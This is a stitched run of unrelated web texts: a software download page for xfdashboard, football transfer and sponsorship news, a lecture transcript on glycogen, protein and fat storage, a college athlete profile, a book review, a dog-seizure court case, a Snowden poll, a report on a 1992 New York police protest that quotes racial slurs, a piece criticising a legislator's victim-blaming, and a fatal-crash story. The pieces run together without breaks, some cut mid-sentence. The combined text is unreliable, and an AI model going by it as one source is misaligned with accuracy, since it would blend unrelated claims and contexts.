The latest stable version is version 0.6.1 released at 2016-12-22. You can download the source tarball using the following links:
SHA256: ad5dcfe168e4d37e8e85910912f51cfb0ea229ff9863f6582f87b9431a90c2af bzip2 tarball: xfdashboard-0.6.1.tar.bz2 For older releases including development versions look at the release archive at the following link.
Development
The latest development version is version 0.7.5 released at 2018-08-09. You can download the source tarball using the following links:
SHA256: 4c673be445c08f7247a03f924281480b71a9a9155f833f946d78e8133fe4a4de bzip2 tarball: xfdashboard-0.7.5.tar.bz2 For older development releases or stable releases look at the release archive.
The latest development version is hosted on Xfce Git. You can browse it using the web interface at the following URL : http://git.xfce.org/apps/xfdashboard/
Here you find the documentation for theming and settings of the latest development version.
FAQGet the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Bayern Munich fear that Mario Gotze has set his heart on linking up again with Jurgen Klopp at Liverpool.
The German international midfielder, who emerged under Klopp at Borussia Dortmund, believes that his former boss can help him reignite a career that has stalled at Bayern Munich.
Gotze has fallen out of favour with Pep Guardiola and is looking for a fresh start despite the fact that Carlo Ancelotti will take charge of the Bavarian giants in the summer.
Gotze played his best football under Klopp and is open to a move to Anfield.
And Klopp would love to add the man who scored the winning goal in the 2014 World Cup final to his Kop squad.
(Image: AFP/Getty)
Gotze is heading towards the final 12 months of his contract and is not prepared to sign an extension.
Bayern will want to recoup most of the £30million they paid Dortmund for the 23-year-old in 2013.
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READ MORE: Germany's next generation: Die Mannschaft's future starsOriginally published Wednesday, May 30, 2012 at 12:31 PM
DETROIT —
General Motors is preparing to announce a marketing deal between Chevrolet and the Manchester United soccer club.
A deal with Manchester United would be significant for Chevrolet. The club claims to be the most popular sports franchise in the world. Its fan base has doubled in the past five years to 659 million people - nearly one-tenth of the world's population.
GM wouldn't give details about the announcement, but said it has scheduled a press conference with the United Kingdom-based soccer club on Thursday in Shanghai, the center of GM's largest sales market. GM's marketing chief also will announce a "global sports marketing initiative" in Detroit on Thursday morning.
The announcements could also allay concerns about GM's broader marketing strategy. Earlier this month, the company said it would not advertise during the Feb. 3 Super Bowl because of a steep price increase demanded by CBS, the network broadcasting the game. The announcement came just after GM decided to pull $10 million in ads from Facebook, saying they weren't effective.
GM, however, will keep Facebook pages for its cars and trucks, as well as brands, it has said. Facebook pages for businesses or brands - like Facebook pages for people - are free. It's the marketing services - links in people's newsfeeds or ads to the right of the newsfeed - that cost money.
The changes, which involve two of the largest audiences in the U.S., brought criticism from the advertising and auto industries. It left many wondering about GM's strategy. The Super Bowl audience would have been a perfect for the company, which will introduce new pickup trucks next year.
But a deal with Manchester United has potential. Most of the club's fans live in emerging markets, according to a survey taken for the club by the research firm Kantar. The club claims to have 325 million fans in Asia and 173 million in Africa and the Middle East. It also has 90 million fans in Europe and 71 million in the Americas. The U.S. alone has 34 million fans, the club says.
GM plans to spend $4.5 billion globally on advertising this year, the same amount as last year.
Manchester United, which is owned by the American Glazer family, lost the Premier League title to Manchester City this year. But the club still is a record 19-time English champion.
The Kantar survey came from responses of 54,000 people in 39 countries. A similar survey in 2007 indicated that Manchester United had 333 million fans, based on 27,000 responses.Video transcript
- [Instructor] Now, a very simple premise that we've built our discussion of metabolism on, is that we extract energy from food. And of course, this comes from the fact that we know that ATP is our body's main source of chemical energy, and the way we can produce this ATP is by breaking down nutrients, such as glucose, and fatty acids and proteins, which are all found in food. But of course, the question that you might wonder, is while we don't constantly eat food, right? So, how does our body produce a constant flow of ATP even though we only have food very intermittently? And of course the answer to that question is that our body has evolved to store fuel as well, so that we're not reliant on a immediate reflux of nutrients right after a meal. So in the remainder of the video, I actually wanna go ahead and compare and contrast the three main types of fuel that our body has evolved to be able to store. And then, touch on why one of these fuels is actually a much better storage fuel than the rest of them. So let's start off with glycogen. And glycogen is our body's way of storing carbohydrates. And essentially, it's just a long chain, or a polymer, of glucose molecules that are all attached to each other. And our body stores this mostly in the liver. But also there's some in our muscles, as well. And, if we were to tally up how much glycogen, how many grams of glycogen that we had, let's say, in an average 70 kilogram male, an average healthy 70 kilogram male, we would calculate that there would be approximately 480 grams of glycogen. And, just to give you some idea of how much energy we can extract from glycogen, we can extract approximately four kilocalories of energy per gram or glycogen. And kilocalories is just a unit of energy, and it's something that you might see on cereal boxes, or any type of food really, when you look at the nutrition label. And just to give you some perspective, the recommended average intake of energy for humans is somewhere around 2000 kilocalories per day, and of course that's a huge ballpark number. The exact number might fall above or below this, and really depend on how old you are, what your sex is, as well as how active you are during the day. Now a second type of fuel that our body stores is proteins. And, remember that proteins are nothing more than a long chain of amino acids. And, most of the protein in our body is in our muscles. And again, in an average 70 kilogram man, if we were to tally up how many grams of proteins, we would get around 6000 grams. And again, similar to glycogen, we would be able to extract about four kilocalories of energy per gram of protein. Now, finally, the third type of fuel that our body stores is in the form of fats. And these fats are actually stored up in specialized tissue in our body called adipose tissue. Now, if we were to tally up how many grams of adipose tissue a 70 kilogram man had, it would actually amount to a much higher amount than both proteins and glycogen combined. In fact, it's somewhere around 12,000 grams of fat in an average 70 kilogram healthy male. And, moreover, unlike glycogen and protein, we can actually extract a lot more energy per gram of fat. In fact, that comes out to be somewhere around nine kilocalories per gram of fat. Now to put this in perspective, let's kind of do a fun, simple math problem here. Let's assume that this 70 kilogram guy requires an intake of 2000 kilocalories per day. Now if this is the case, let's kind of ask ourselves a very theoretical question, because of course it would be unhealthy to starve oneself. But if one didn't have a intake of food, how long would this man be able to survive on each type of fuel? So, if we round this to about 500 grams of glycogen, times four kilocalories per gram, that would actually amount to about 2000 kilocalories that we could extract from glycogen, and so that would last him about a day, right? Now, let's move down to protein. So, protein, so we have about 6000 grams in our body, times 4 kilocalories per gram, which amounts to about 24,000 kilocalories, divided by 2000, that would last us about 12 days, right? So you're getting a little bit better. But now let's actually take a look at fats. We have substantially more amount of fats in the body than proteins and glycogen, right? So 12,000 times, let's round this up to ten, since we're just approximating anyways, so if we multiply 12,000 times ten, that's bout 120,000, right? Divided by 2000, that's about 60 days that one could go, theoretically of course, and probably may not even make it that far, but, theoretically we could make it 60 days on just our fat storage alone. Now that's pretty impressive, I think. So now the question I want to answer is, why has that become the major source of storage fuel in our body? And to do that, let's first actually remind ourselves what the chemical structure of fats are. So I've kind of, to save us some time, drawn out the chemical structure of a triacylglyceride. And I'll actually go ahead and write that out here, so tri acyl glyceride. And just a point of clarification, I am using the word fat and triacylglyceride interchangeably. And that's because fat is just kind of an everyday term that we use to refer to the type of fat, the triacylglyceride, that we store in our body. And since we're talking about the chemical structure, it probably makes sense in this case, to refer to it from its chemical name, which is triacylglyceride. And in fact, its chemical name tells us a lot about its structure, so let's take a look. So this tri acyl refers to these three acyl groups, these acyl side chains. So what is an acyl side chain? So, you know, an acyl is just a reference to a type of organic chemistry functional group. So, there are some functional groups you might be familiar with, like hydroxyl groups, or phosphate groups, and in this case, the acyl group is anything that has a carbon double bond oxygen attached to a long chain of carbons and hydrogens. And actually, I should say, the chain doesn't have to be long, it just has to be some type of organic functional group, but in this case, the chain happens to be very very long. And of course, I've kind of just gone ahead and drawn three acyl groups that have come pretty much randomly to my mind, because the idea here is that these chains can vary immensely, depending on the type of triacylglyceride in our body, depending on the type of fats that we ingest. And so if some of them might have single bonds, which we refer to as them being saturated with hydrogens, and some of them might have double bonds, in which case we refer to these triacylglycerides, or these side chains, as being unsaturated. So that's kind of just some nomenclature that you might see. And then, finally, this glyceride refers to the backbone of this molecule, these kind of three carbons that are hanging out down here. And, they also have a oxygen attached to them as well, and of course they link with these acyl side chains through this ester linkage, that I'm kind of highlighting in green here. So, that's the big picture of this molecule. Now, the reason why I think it's important to be familiar with this structure of a fat, when trying to understand why fat is such a prominent type of storage fuel in our body, is because now you can visually see where all of that energy, where all of that nine kilocalories per gram of energy, is coming from. Because looking at this molecule, you can see the bulk of it is formed by these long carbon hydrogen chains. And, these carbon hydrogen chains are referred to as being very high energy, because they have a lot of electrons kind of stored up in these bonds. And we know, if we remind ourselves, back to kind of our general principle, is that if you have a reduced organic molecule, like this, like we can see here, we are able to extract energy by oxidizing it in kind of subsequent steps, and this flow of electrons can be harnessed by something like the electron transfer chain to allow us to produce ATP. So that's kind of my first point here, and I'll scroll down here, and I'll go ahead and write that, which is that the triacylglyceride is a very energy-rich molecule, has lots of these carbon-hydrogen bonds, that can be oxidized to produce ATP. Now a second reason why these triacylglycerides are such a good form of storage energy is because they are relatively chemically inert. So, what I mean by this, is that they're unlikely to react with other things in the body. And this is of course in contrast to things like glucose and proteins, which are quite polar, they have many polar functional groups, like hydroxyl groups, for example, and they can react with a lot of things in the aqueous environment of the body. But triacylglycerides are very, remember, they're not soluble in water, and just remind yourself, if you've ever made salad dressing, it's so hard to mix the oil and water together, right? And so because this isn't going to dissolve in water, and it has a lot of these carbon-hydrogen chains that are considered not to be very reactive, it serves as a great form of storage energy, because it won't randomly react, or be wasted in side reactions. A third reason why fats are good for energy storage is because they have no large or prominent functional role inside the body, in contrast to proteins, for example, which are used to make enzymes. And enzymes, are of course, of paramount importance in our body, and so, we wouldn't want to rely too heavily on proteins, because it would kind of be a conflict of interest for our body, right? Because if we use up too many proteins, we wouldn't be able to make enzymes, and that's why fats end up being kind of a good compromise, because we're able to kind of essentially just store up fats for one major purpose alone, which is to produce energy. Of course, that's a blanket statement, fats are important in other ways as well, but largely speaking, their main role is to store energy. So I've touched on why triacylglycerides are a good form of energy storage and why proteins might not be such a good form of energy storage. But you might be wondering, what about carbohydrates? What about glycogen, why didn't our body evolve to make glycogen the major storage fuel? And that brings me to my fourth point, which is that unlike proteins or carbohydrates, triacylglycerides fats are very hydrophobic. And, a benefit of being hydrophobic, as we kind of touched on earlier, so not only does it make it more inert, chemically, because it can't react with a lot of things that water, in an aqueous environment, but it also means that it won't be kind of weighed down by water. So you might be wondering, why is that beneficial? Why is that beneficial not to be weighed down by water? And to answer that question we can actually just go ahead and do kind of a quick math problem here, to kind of give some insight into that. So the math problem that I want to solve is, how many grams, of glycogen, including, I'm gonna say this, including its water weight, because we know that all of these polar molecules attract some water, and that contributes, of course, to how much weight that they have. So how many grams of glycogen, including the water weight, will our body need, let's say, if we want to have the same number of calories, so I'm gonna say, if we're equal to the same number of calories, kilocalories, that, the 12,000 grams of fat, in the average 70 kilogram man that we talked about above, can produce. So in order to answer this question, we have the information in the table above. But we also just need to know one more thing, which is, how many grams of water are associated with each gram of glycogen? And the answer to that is, there's about three grams of water weight, so let's say H2O weight, associated with one gram of glycogen, or protein actually, for that matter. So I'll just put that in parentheses for our reference. Alright, so to answer this question, we first need to find out how many kilocalories can 12,000 grams of fat produce? And that's simply 12,000 grams of fat, right, times, from the table above, I'll remind you, we said that, for every gram of fat, we can burn about nine kilocalories of energy, and because we're just trying to get a ballpark number, I'm gonna go ahead and round that up to about ten kilocalories, okay? And that is going to be equal to 120,000 kilocalories. So that's how many calories, kilocalories we need to be able to produce with glycogen. Now, with glycogen, we know that for every four kilocalories, we're able to essentially utilize, or for every four kilocalories, we're able to get that out of one gram of glycogen, and that's without accounting for its water weight. But if we do account for its water weight, and we know from this ratio above, right here, that for every gram of glycogen, there is three grams of water weight. I'll just put H2O here to remind us, okay? So, our units are gonna cancel out here, and here, and altogether, if we scroll down, we end up getting 120,000 divided by four, ends up being 30,000 times three, which ends up being a whopping 90,000 grams of glycogen that would weigh us down, in order to produce the same number of calories as only 12,000 grams of fats. So nearly a seven to eight times fold difference in the amount of weight that our bodies would have to carry. And of course, this is not practical, right? Because, we were talking about a 70 kilogram man, and here we have 90,000 grams of glycogen. That's equal to 90 kilograms, which is more than 100% of body weight just in glycogen alone. And so, that's not practical because we haven't evolved a skeletal structure, or enough muscle mass, to be able to handle that extra weight. And so that's probably why fats has evolved to be the most prominent type of energy storage molecule in our body. So just to kind of summarize, we return to our list up here, we notice that not only it's that itself, just by its structure, energy-rich, it's also chemically inert, it plays no functional role, unlike proteins which are important in enzymatic function, and because fats are very hydrophobic, we're able to pack a lot in our body without carrying any extra water weight.The brutal days of November 2013 still linger through Jacksonville State star defensive tackle Devaunte Sigler's mind.
They're not nearly as bad as the ones in the months leading up to that.
On March 1, Sigler was dismissed from Auburn for an undisclosed violation of team rules.
He characterized it as a misunderstanding with the new coaching staff under Gus Malzahn, but admitted things had been going the wrong way under the previous staff. He was a defendant in a civil suit filed by University Village for not paying his rent. A promising career for the Mobile native was stopped in its tracks.
And he had a 2-year-old daughter, Essence, back at home. And that's where he went.
But while the father-daughter time was a blessing, he couldn't find a job. He stayed with his mother, but finances were tough to the point where he didn't have a cell phone. Applying for a job was a hassle without a return number.
"My mother, she raised me, and I'm looking like, 'That's my child, I'm a man and I can't do anything about it,'" Sigler said. "I've got to find something to do to feed my daughter and make things better."
He got the release from Auburn in November, but still needed a place to go.
He was able to catch up with Chris Landrum, who landed at Jacksonville State in 2013 after leaving Auburn. Landrum and Sigler started their careers at Auburn together and were friends.
Sigler spoke with former JSU head coach Bill Clark and assistant David Reeves about coming to school.
"They were thrilled he wanted to come and they wanted him," Landrum said. "They were willing to do all the things it took to get him here and get him eligible.
"He was willing to work hard to get himself back eligible academically. Once he got eligible academically, he took off and running."
But he wasn't eligible. Leaving Auburn meant his classes that semester were withdrawn. He was forced to pay his own way to Jacksonville State and he estimated passing 37 hours worth of classes in the spring and summer of 2014.
He was finally eligible to practice and compete last fall.
"Just my daughter was my drive," Sigler said. "Being at home like that, I don't think people realize how hard it is to not have a job and have a child at the same time. Six, seven months without a job, nothing, it just drove me. I've got to do better. It's just all for my daughter."
The 6-foot-5, 292-pound Sigler immediately made an impact for the Gamecocks.
He didn't play or even train for a year, but earned Ohio Valley Conference Defensive Player of the Year and FCS All-America honors. Sigler recorded 36 tackles, nine for loss with 3.5 sacks, an interception, two pass breakups, two forced fumbles and a blocked kick despite facing numerous double teams.
"To me, it seemed like he had gotten faster and gotten better to me," Landrum said. "He was dealing with a lot of injuries at Auburn. When he's healthy and not having injuries, he was flying around the football field and it was good to see."
Sigler battled a torn labrum in his shoulder last season and had offseason surgery. He is fully recovered with loads of preseason honors for the No. 9-ranked Gamecocks as they opened practice Friday.
"He's a fast, quick guy that looks like a basketball guy running around there at 290," Jacksonville State head coach John Grass said.
Even more so, Sigler is on pace to graduate in December with a public administration degree. A shot at the NFL likely awaits, but he's also looking forward to potential graduate school "and maybe one day being someone else's boss."
Sigler's story could have continued off the wrong path, but he said the opportunity at Jacksonville State saved his life. Now, he's eager to share his wisdom from the mistakes he made.
"Any student-athlete I can talk to that would think about leaving football, I would tell them, 'Don't do it,'" Sigler said. "God gave you the talent for a reason and a hard labor job is not what you want to do."This is the second book by Margaret Tanner I review but I've read more of her stories.
I love this author firstly because her books are set in Australia, a country that I love. Secondly this time period for a book set in Australia is unusual.
Thirdly she makes me feel the story and this is what counts in the end.
"Lauren's Dilemma" is not her best well written book because some parts I find a bit rushed and not well developed but still it's so heart-wrenching.
I've shed real tears for Danny, Dick and Blair. Strange to say but in their own way each of them has win me over. Daniel's death due to his reckless and impulsive behavior to avenge his friend's killing...The exchange of letters between Blair and Lauren, Blair's desire to have some form of comfort while at the front since his uncaring fianceé was too busy taking the high society by sotrm...and Dick, his sad story, when he tells Lauren what happend to him, well, I wanted to kill that monstrous soldier.
I really feel their pain.
Strange to say but the love story between Blair and Lauren was not what has kept me hooked, it was the pains the characters suffer and how they overcome or don't the atrocities of war.
The romantic side was not well developed, it was not bad, this has to be clear, but I felt some passages missing and others a bit too rushed.
However until now I've appreciated and enjoyed all I've read by this author.A woman involved in a high-profile battle over her dog has lost her pet to the Halifax Regional Municipality.
On Tuesday, a provincial court judge ruled that ownership of Francesca Rogier's dog — Brindi — be transferred to the city.
Rogier was also fined $600, which breaks down to $200 for each of the three charges she faced relating to a 2010 attack on a neighbour's pet. Rogier was found guilty of those counts in May.
Rogier was not present at Dartmouth provincial court on Tuesday. But in a statement released late in the afternoon, she said the decision is "devastating."
"I love my dog and miss her terribly. I did everything humanly possible to obey all laws and conditions. We were never given a fighting chance. And now, it is as though no trial or judicial review ever took place," she wrote.
Rogier said she fears Brindi will be put down.
The Halifax Regional Municipality must now have Brindi assessed to determine whether the dog could be adopted by another owner. If that assessment finds Brindi is not adoptable, the city has the option of having the dog euthanized.
The decision on whether Brindi is adoptable is scheduled to be made by Aug. 21, in yet another stage of a protracted battle over the dog's fate.
Brindi, a six-year-old shepherd mix, spent two years at a shelter before she was adopted by Rogier in 2007.
After several aggressive confrontations with other dogs, Brindi was placed under a muzzle order. But in July 2008, she got loose from her East Chezzetcook home and bit another dog.
That's when Halifax bylaw officers seized Brindi. The dog was scheduled to be euthanized in August 2008, but the procedure was postponed after Rogier made her application to the court.
In April 2010, a provincial court judge ruled that Rogier undergo a training course with Brindi and that the dog be muzzled if it wasn't in a fenced-in area.
Later that same year, Brindi jumped out of the window of Rogier's car and sank its teeth into a neighbour's smaller dog. The attacked dog was on a leashed walk with its owners.
The judge ruled the latest attack broke three bylaws because Brindi was running at large and attacked another dog when the animal was supposed to be wearing a muzzle.More Americans now think Edward Snowden did the wrong thing in releasing classified documents about U.S. surveillance programs, according to a new HuffPost/YouGov poll.
According to the new poll, 38 percent of Americans think that Snowden, a former contractor for the National Security Agency, did the wrong thing, while 33 percent said he did the right thing. Still, 29 percent of Americans remain unsure about Snowden's actions.
Another HuffPost/YouGov poll conducted just after Snowden revealed his identity publicly found that 38 percent said Snowden did the right thing and only 35 percent said he did the wrong thing.
Much of the drop in support for Snowden's actions since the earlier poll appears to have taken place among Republicans, who were divided, 37 percent to 37 percent, on whether Snowden did the right thing in the previous poll, but in the latest poll said by a 44 percent to 29 percent margin that he did the wrong thing.
In the new poll, Democrats said that Snowden did the wrong thing by a 46 percent to 26 percent margin, while independents said that he did the right thing by a 40 percent to 28 percent margin |
relations, police conduct and, perhaps most basic of all, crime and the fight against it.
Mr. Dinkins called the department's lack of preparation "naive." He has asked his search committee to reinterview four leading candidates for police commissioner specifically on the question of how the demonstration should have been handled. Politics, Racism And Little Control
A reconstruction of the morning's events, based on witnesses' accounts and the few records that are now available, raises a number of issues about the people and the decisions involved in the protest, including these:
*The protest had a strong political cast. Rudolph W. Giuliani, a likely candidate for Mayor in 1993, was present throughout the demonstration and led the crowd in a rousing condemnation of Mayor Dinkins's treatment of police issues. It was his second appearance at a police gathering in several weeks. Earlier, Mr. Giuliani attended a Patrolmen's Benevolent Association convention in the Catskills. At the City Hall demonstration, at least one Giuliani supporter circulated through the crowd handing out voter registration cards, and many protesters wore paraphernalia with a decidedly political slant: new white T-shirts bearing the words "Dinkins must go" and buttons printed: "Fight Crime. Dump Dinkins."
*Mayor Dinkins, in the days after the protest, framed the protest almost exclusively in racial terms. Some racial slurs were used by protesters at the demonstration and a small number held racially provocative signs. But race did not appear to form a central theme of their complaints, which focused on mayoral policies they felt undercut the police. Many witnesses, however, said they were conscious of an underlying strain of tension in the overwhelmingly white crowd. While the department is 22 percent minority, there were only a handful of black or Hispanic protesters in the crowd.
*Police department officials appeared unprepared for the size and unruliness of the crowd, which included supervisors as well as rank-and-file members. There were relatively few police barricades up and they were sparsely attended by uniformed officers who joined in the chants, raised their own fists in support or passively stood to one side. Almost no effort was made by the 300 officers on duty to keep protesters from breaking police barricades to rush the steps of City Hall. Alarmed officials inside City Hall, fearing that the building would be overrun, bolted the doors and summoned a half-dozen uniformed guards from the basement to act as a last line of defense.
*Officials with the Patrolmen's Benevolent Association, which organized and promoted the rally, appeared unable to control their members. Though they had assured police officials that the demonstration would be peaceful and that there would be at least 150 members acting as marshals, neither the marshals nor the union's leaders inhibited the protesters' movements. Nor did they appear to discourage protesters from displaying obscene and inflamatory signs, like those depicting the Mayor with a large Afro-style haircut and swollen lips or another making reference to Mr. Dinkins as a "washroom attendant." In the words of Suzanne Trazoff, the deputy commissioner, "Nobody was in control." Washington Heights Seemed Final Straw
The roots beneath the disturbance were deep. Protesters condemned the Mayor for his refusal to approve the issuance of semiautomatic pistols, saying officers had less firepower than criminals. They took issue with the appointment of a Mayoral commission to investigate charges of police corruption. They complained, too, about the Mayor's support of the formation of an all-civilian review board to investigate police misconduct.
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But the final straw, many said, was Mayor Dinkins's handling of last summer's Washington Heights unrest and what they perceived as his sympathy for and support of the family of Jose (Kiko) Garcia, a Dominican immigrant with a drug conviction who was slain July 3 in a confrontation with a police officer. Many officers at the rally said they were particularly incensed that the victim's family had been invited to Gracie Mansion. The officer, Michael O'Keefe, was exonerated by a grand jury earlier this month.
The culmination of those simmering complaints came the morning of September 16.
Police officials had prepared for the rally for at least a month. But there was no special meeting between the Patrolmen's Benevolent Association and department officials just before it began. There seemed no need. P.B.A. officials had promised a peaceful march with no alcohol. "The demonstration was described to us so carefully," said Ms. Trazoff, "there was no reason to think it would really require handling."
At the start, at least, that reasoning held. Police officers who arrived at City Hall in buses the morning of the rally began the march as planned. They walked twice around the agreed route, circling City Hall. By 10:50, however, two demonstrators climbed atop buses, held aloft a huge sign and used an obscenity to describe the all-civilian review board. They were cheered and applauded by the crowd. At that moment the mood shifted.
"Take the hall! Take the hall!" protesters shouted. In a moment, the first demonstrators started clambering over the blue police sawhorses east of City Hall. Cheering, screaming and running, hundreds and finally thousands then swarmed the steps. 'Dunk the Dink' And Much Worse
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Taking a phrase from Rev. Al Sharpton, they joined together in chants of "No justice. No police." Hand-drawn signs in the crowd urged: "Dunk the Dink" and used sexually loaded terms to criticize the Mayor. One man banged a pot with a spoon and shouted "Daryl Gates for Mayor," a reference to the former Police Chief of Los Angeles whose department was sharply criticized for its attitude toward minorities.
Racial hostility was more directly expressed in one confrontation between the protesters and Una Clarke, a City Council member from Brooklyn. Both she and a black television cameraman said they were called "nigger" in brief confrontations with demonstrators outside of City Hall.
Inside the building, Norman Steisel, the First Deputy Mayor, was drawn out of his office by the noise. He and about 12 other City Hall employees collected in the marble entranceway and watched with amazement as the mob of demonstrators on the steps screamed invectives at the Dinkins administration. Security guards had pulled a heavy metal bar across the entrance. More guards were summoned from the basement.
Mr. Steisel, who was in charge while Mayor Dinkins was attending a funeral for former Congressman Ted Weiss, said none of the protesters tried to push through. "The doorway was a psychological and physical barrier that they were not going to cross," he said.
Yet the protest was hardly dissipating of its own accord. Mr. Steisel recognized a delegate from the Patrolmen's Benevolent Association and urged him to ask the protesters to disperse. "What amazed me," he said, "was that he said, 'Well, when you bring a big crowd out like this, you can't always control it.' I told him he should have thought of that earlier, but he just shrugged."
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Outside, one high-ranking officer, an inspector in street clothes, said he found the demonstration "a disgrace," and criticized the P.B.A. for losing control. Other officers, when recognized by the crowd, were jeered. As the passions increased, reporters and photographers scrambled atop nearby cars to get better vantage points. Protesters joined them and started jumping up and down. Eight cars were damaged.
Shortly after 11 A.M., a union delegate started circulating through the crowd, urging protesters to retreat to Murray Street where a rally had been planned in advance. His voice was largely drowned out by chants of "The Mayor's on crack" and "Dump the Dink," but he prodded those who could hear him with the entreaty: "Save a cop. Let's go to Murray Street."
About 11:30, several officials appeared in the throng on the steps and tried to break up the demonstration. David Scott, the chief of department, an imposing black figure in a starched white command shirt with four gold stars, asked the crowd to disperse. He was drowned out by jeers and obscured by a sea of white arms and fists. Yet some protesters did drift toward the rally site.
Another contingent of 1,000 to 4,000 had another idea. They veered east, toward the Brooklyn Bridge. By 11:50, bridge traffic was blocked in both directions and the crowd was turning ugly. One woman who emerged from her car to shout at the protesters that her infant was suffering in the heat was shouted down by protesters who jeered, "Hey, why don't you call a cop."
Minutes later, a single uniformed officer arrived on a scooter. He took one look at the mob and turned back. Several minutes later, about noon, four or five police union officials walked onto the bridge. They, too, were turned away. When another uniformed officer arrived on a motor scooter, his motorcycle was turned over. "Empty suits. Empty suits," the crowd chanted later, when they spied several senior commanders in civilian clothes.
At Murray Street, the crowd was less hostile but more inebriated. Beer cans and broken beer bottles littered the streets as Mr. Giuliani led the crowd in chants, using an obscenity to refer to Dinkins administration policies. Most officers in the crowd agreed with his sentiments, though they reacted less warmly when Mr. Giuliani said there was a need to fight corruption and problems within the police department.
Philip Caruso, president of the patrolmen's union, also urged support. "The forces of evil are all around," he said in an impassioned speech against the civilian review board. "They are trying to surround us. They are trying to defeat us."
The greatest applause was reserved for Officer O'Keefe, who called the aftermath of the Washington Heights disturbance "a personal attack on all of you." Facing his protesting collegues he said: "We are a force. We will be a force for good."
At nearby bars, where many officers gathered, the talk was much the same. "People don't know what it's like to be a cop," said Janine Bowden, an officer who sat on a stool in the bar P. J. Smyth's. "It's O.K. for a drug dealer to point a gun at a cop. But it's not okay for a cop to defend himself?"
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In the days since the protest, 86 demonstrators of different ranks have been identified among the protesters, said Ms. Trazoff. Their cases are under investigation.Elected officials should know better than to blame the victim of a sex crime.
While it’s a common tactic of abusers, it’s something no one expected of Republican Florida state Rep. Kathleen Passidomo.
During debate over a bill that would legislate a dress code for Florida students, Passidomo blamed the alleged gang raping of an 11-year-old in Cleveland, Texas on the way the young girl was dressed.
“There was an article about an 11 year old girl who was gangraped in Texas by 18 young men because she was dressed like a 21-year-old prostitute,” Passidomo declared.
“And her parents let her attend school like that. And I think it’s incumbent upon us to create some areas where students can be safe in school and show up in proper attire so what happened in Texas doesn’t happen to our students,” she added.
Broward/Palm Beach New Times‘ Brandon Thorp was shocked.
“Whoa!” he wrote. “As a genus, politicians aren’t the brightest wicks in the candelabra, but they usually possess sufficient self-awareness to shield the public from the horrorshows of their minds. Blaming the rape of an 11-year-old girl on her parents’ sense of fashion — and to do so out loud — smacks of rank amateurism.”
At a civc meeting in Cleveland following the crime, local residents there had also placed blame on the girl.
“Many who attended the meeting said they supported the group of men and boys who have been charged in the case,” The Associated Press reported. “Supporters didn’t claim that the men and boys did not have sex with the young girl; instead they blamed the girl for the way she dressed or claimed she must have lied about her age — accusations that have drawn strong responses from those who note an 11-year-old cannot consent to sex and that it doesn’t matter how she was dressed.”
Even a New York Times article on the alleged rape was widely criticized for lack of balance.
“[Residents] said she dressed older than her age, wearing makeup and fashions more appropriate to a woman in her 20s,” the Times reported.
“These elements, creating an impression of concern for the perpetrators and an impression of a provocative victim, led many readers to interpret the subtext of the story to be: she had it coming,” Times public editor Arthur Brisbane noted several days later.
“We live in a society that continues to blame and shame victims of sexual assault,” Kelly Boros, communications manager of the Houston Area Women’s Center, told El Gato Media Network.
“It is disheartening but not surprising to see rape myths perpetuated in the news; sometimes subtly and sometimes blatantly.”Jackson Williams, 17, was killed a year ago in a car crash. She can't cope with the "feeling of wet grass on her ankles" because it brings back memories of running to her unconscious son on a local oval surrounded by ambulances and strangers on that damp winter's night a year ago, she told Fairfax Media. And she can't stand the smell of apple shampoo because it reminds her of the smell of Jackson's hair as she cradled him for the last time in the ambulance. "It takes me back to that night," the Central Coast woman told Fairfax on Friday. "I can see his ear leaking blood," she said. "It fills me with horror, and overwhelming pain and hopelessness come flooding back." On Friday – a year and four days after Jackson died – she couldn't attend the sentencing of the driver of the vehicle because it hurt too much.
The car crashed into a telegraph pole on Willoughby Road, Wamberal. Credit:digicrew The driver – who had his Ps for just over two weeks – was convicted of dangerous driving occasioning death. He was sentenced to 200 hours of community service, and his licence was suspended for three years. He can't be identified because he was a minor at the time of the crash. Handing down the sentence, Magistrate Louise McManus of the Woy Woy Children's Court said the boy, who was of good character with no prior crimes, would always have to live with the pain of losing his friend. Jackson Williams with his mother Michelle. Credit:Michelle Williams She urged him to use his experience to remind other young drivers "to not use a car as a toy".
The closed court room heard that none of the five teenagers – two 17-year-olds and three 16-year-olds – in the car had been drinking or taking drugs. The driver had not been speeding or reckless. Jackson Williams took this moody shot of Terrigal and its landmark the Skillion on the night he died in a crash. Credit:Jackson Williams Getting airborne on the Dipper The night of the crash had been one of innocence: the group of five friends stopped for ice cream at Terrigal where Jackson, a serious photographer, took moody photos. As they were heading home about 9pm, the driver was urged by the passengers to drive over the Willoughby Road culvert covering a storm water drain.
Jackson Williams and friends hanging out a local Central Coast beach. Credit:Jackson Williams It was a well-known spot because it caused "a sensation in their stomachs... due to the steepness of the dip", said the agreed statement of facts heard by the court. Although the driver of the car was urged to speed up, he drove carefully through the culvert, a 25 km/h zone, braking the first time so nobody experienced the sensation they sought. Lindy Hewett at the crash site where residents have been lobbying for road improvements. Credit:Louise Kennerley He was urged to do it again. One of the passengers urged, "go fast, go fast", the court heard.
"Coming to the top of the dip, we were going so fast that the car sort of lifted up and dropped down into the dip, and then coming to the top of the dip, we definitely got air," one of the passengers said, according to the statement of facts read in court. The telegraph pole where the car carrying five friends crashed, killing Jackson Williams, 17. Credit:Louise Kennerley The result of the young driver's choice to turn around had "catastrophic" consequences for the people in the car and him, said the magistrate in her ruling. The driver's solicitor Phil Carey of Nowra told the court it was the "failure of an inexperienced driver to judge an appropriate speed for the conditions". The scene of the accident where Jackson died. Credit:digicrew
The P-plate driver hadn't been speeding or driving recklessly at any other time that night. But this time the inexperienced driver – who had only driven the second-hand manual Forrester he'd been given two weeks earlier once or twice without adult supervision – crossed the culvert too fast for the conditions, especially given it had been raining and the vehicle had worn tyres. The vehicle was out of control for 80 metres before crashing heavily with a telegraph pole. Selfie: Jackson was a keen magician. Credit:Jackson Williams Jackson died at the scene. All four survivors were hospitalised. A 16-year-old boy was airlifted to hospital because of serious injuries. The Jekyll and Hyde moment when safe L drivers get their P-plates
So far this year 18 young drivers aged 17-25 have been killed in crashes in NSW, compared to 87 drivers in all other age groups. This compares to 23 young drivers killed in the same period last year. Research shows the first month of driving with P-plates is the riskiest time, compared to L-plate drivers who are among the safest driving under adult supervision. The first comprehensive review of recent data published a week ago shows Australia's graduated driving licence system has reduced deaths, crashes and injuries. P1 drivers – the first stage of NSW provisional drivers licensing system after L-plates – represent 3 per cent of the 6 million drivers on NSW roads, as of June 2017, but they represent more than 20 per cent of all fatalities. With each additional passenger of a similar age in the car, the crash risk increases for young drivers.
